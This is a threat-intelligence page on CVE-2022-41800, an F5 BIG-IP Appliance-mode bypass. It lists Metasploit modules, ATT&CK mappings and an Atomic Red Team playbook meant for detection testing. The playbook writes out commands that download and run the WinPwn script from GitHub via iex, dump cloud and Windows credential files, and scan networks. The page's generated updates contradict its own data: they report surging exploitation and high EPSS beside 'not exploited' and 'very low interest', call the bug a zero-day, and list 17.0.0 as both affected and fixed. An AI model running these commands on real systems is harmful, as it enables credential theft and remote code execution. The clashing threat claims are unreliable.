CVE-2022-41800

HIGH EXPLOIT TTE Zero-Day Pub 07/12 Upd 23/04

Overview

This vulnerability is an authentication bypass caused by improper access control in the iControl REST interface of F5 BIG-IP when operating in Appliance mode. The root cause lies in an undisclosed iControl REST endpoint that does not enforce Appliance mode restrictions for users assigned the Administrator role. The affected component is the iControl REST API within BIG-IP's Appliance mode functionality, allowing privilege escalation across security boundaries.

Vulnerability Description

In all versions of BIG-IP, when running in Appliance mode, an authenticated user assigned the Administrator role may be able to bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint. A successful exploit can allow the attacker to cross a security boundary.   Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Impact

An authenticated user with Administrator privileges can exploit this flaw to circumvent Appliance mode restrictions, effectively crossing security boundaries within the system. This enables unauthorized access to sensitive configurations or operations normally restricted in Appliance mode. The attack requires valid Administrator credentials and network access to the REST interface. The CVSS vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N) indicates network attack with high privileges and no user interaction, resulting in complete confidentiality and integrity compromise within the scope.

Solution

F5 Networks has released patches addressing this vulnerability as detailed in their security advisory K13325942. Users should upgrade affected BIG-IP Access Policy Manager installations to the fixed versions specified in the advisory, including version 17.0.0 and later patched releases. The advisory provides step-by-step patch application instructions and recommends verifying Appliance mode enforcement post-update to ensure the bypass is mitigated.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question pertains to a significant security flaw within the BIG-IP product suite, specifically when operating in Appliance mode. This issue arises from an authenticated user, assigned the Administrator role, being able to bypass the restrictions typically enforced by Appliance mode through the exploitation of an undisclosed iControl REST endpoint. The ability to circumvent these restrictions poses a serious risk, as it allows unauthorized access to sensitive areas of the system, effectively crossing established security boundaries. The implications of this flaw are exacerbated by the fact that it affects multiple components of the BIG-IP suite, including the Access Policy Manager, Application Security Manager, and Local Traffic Manager, among others.

Exploitation of this vulnerability can occur through various attack vectors. An attacker with legitimate administrative credentials could leverage this flaw to gain unauthorized access to restricted functionalities or data. For instance, an attacker could manipulate the iControl REST API to execute commands or retrieve sensitive information that should be inaccessible under normal operational constraints. This scenario highlights the critical need for robust access controls and monitoring mechanisms, as the exploitation may not only compromise the integrity of the system but also allow for further attacks within the network.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on BIG-IP for critical application delivery and security functions. The potential for data breaches, unauthorized access to sensitive information, and disruption of services can lead to significant business risks, including financial losses, reputational damage, and regulatory penalties. Organizations may find themselves facing increased scrutiny from stakeholders and regulatory bodies, especially if exploited vulnerabilities lead to data leaks or service outages. The high CVSS score of 8.7 reflects the severity of the risk, underscoring the urgency for organizations to address this vulnerability proactively.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular audits of user roles and permissions are essential to ensure that only authorized personnel have administrative access. Additionally, monitoring and logging of API calls can help identify unusual patterns of behavior indicative of exploitation attempts. Organizations should also consider employing network segmentation to limit the potential impact of a successful attack. Furthermore, applying patches and updates provided by the vendor is crucial, as these updates often contain fixes for known vulnerabilities.

In conclusion, the vulnerability within the BIG-IP product suite presents a serious threat to organizations leveraging these systems for application delivery and security. The ability for an authenticated user to bypass Appliance mode restrictions through an undisclosed endpoint highlights the need for stringent access controls and monitoring. By understanding the potential attack vectors, assessing the real-world implications, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks posed by this vulnerability and safeguard their critical assets.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-41800 within F5 BIG-IP environments operating in Appliance mode. Our telemetry indicates a doubling in detection frequency, reflecting increased adversary interest and operational activity leveraging the undisclosed iControl REST endpoint to bypass Appliance mode restrictions. Notably, the persistence of stable EPSS scoring alongside this surge suggests that while exploit attempts are intensifying, the overall exploitability risk remains consistent with prior assessments. The emergence of multiple Metasploit modules facilitating both local privilege escalation and remote code execution underscores the expanding toolkit available to threat actors, increasing the likelihood of successful compromise following authentication. This development elevates the threat landscape by broadening the attack surface and simplifying exploitation pathways, particularly for actors with legitimate administrative credentials. Consequently, defenders should recognize this vulnerability as a heightened priority due to the increased exploitation cadence and the potential for attackers to gain unauthorized elevated access, which could lead to significant security boundary breaches and operational disruption.



Update 2 — August 03, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-41800, with telemetry indicating a doubling in activity over recent monitoring periods. This surge is accompanied by the emergence of refined Metasploit modules that facilitate both privilege escalation and persistent access on affected F5 BIG-IP systems. Notably, these updated tools streamline exploitation workflows, reducing the complexity and time required for attackers to bypass Appliance mode restrictions via the undisclosed iControl REST endpoint. The persistence of high EPSS scores underscores the sustained attractiveness of this vulnerability to threat actors. For defenders, this intensification signals an elevated risk environment where adversaries with administrative credentials can more readily achieve unauthorized root-level access, increasing the likelihood of impactful security boundary breaches. Consequently, the threat level associated with CVE-2022-41800 has risen, reflecting both the growing exploitation cadence and the enhanced sophistication of available attack frameworks.

Affected Products (51)

Vendor Product Version CPE
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager 17.0.0 cpe:2.3:a:f5:big-ip_access_policy_manager:17.0.0:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics 17.0.0 cpe:2.3:a:f5:big-ip_analytics:17.0.0:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Acceleration Manager All cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Acceleration Manager All cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Acceleration Manager All cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Acceleration Manager All cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Acceleration Manager 17.0.0 cpe:2.3:a:f5:big-ip_application_acceleration_manager:17.0.0:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
+31 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (4)

Module Authors Rank Platform Link
F5 BIG-IP iControl Authenticated RCE via RPM Creator
exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
Ron Bowes Unknown unix, linux View
F5 Big-IP Create Admin User
exploits/linux/local/f5_create_user
Ron Bowes Unknown unix, linux, python View
F5 BIG-IP iControl CSRF File Write SOAP API
exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
Ron Bowes Unknown unix, linux View
F5 Big-IP Gather Information from MCP Datastore
post/linux/gather/f5_loot_mcp
Ron Bowes Unknown linux, unix View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

7 events
2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-11-16
Exploit Published (0 ExploitDB, 4 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
98% command_injection
Privilege Escalation
90% privilege_escalation
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
44%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
43%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
34%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
30%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-41800
support.f5.com
GitHub CVE
https://support.f5.com/csp/article/K13325942